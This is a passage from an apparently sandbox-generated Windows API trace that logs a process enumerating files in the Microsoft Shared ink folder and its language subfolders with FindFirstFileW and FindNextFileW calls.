(in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0069.783] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1 [0069.784] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0069.784] GetProcessHeap () returned 0x550000 [0069.784] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0069.784] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0069.785] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.785] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0069.785] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0069.785] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0069.786] GetProcessHeap () returned 0x550000 [0069.786] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0069.786] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0069.786] GetProcessHeap () returned 0x550000 [0069.786] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0069.786] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0069.786] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.786] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0069.787] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0069.787] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0069.787] GetProcessHeap () returned 0x550000 [0069.787] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0069.787] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0069.787] GetProcessHeap () returned 0x550000 [0069.787] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0069.787] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0069.788] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.788] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0069.788] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0069.788] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0069.788] GetProcessHeap () returned 0x550000 [0069.788] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0069.789] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0069.789] GetProcessHeap () returned 0x550000 [0069.789] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0069.789] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0069.789] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.789] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0069.790] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0069.790] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0069.790] GetProcessHeap () returned 0x550000 [0069.790] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0069.790] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0069.790] GetProcessHeap () returned 0x550000 [0069.790] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0069.790] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0069.793] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.793] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0069.793] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0069.793] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0069.794] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0069.794] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0069.794] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0069.795] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0069.795] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0069.795] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1 [0069.796] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0069.796] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0069.796] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0069.797] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0069.797] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0069.797] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0069.798] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0069.799] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0069.799] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0069.799] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, 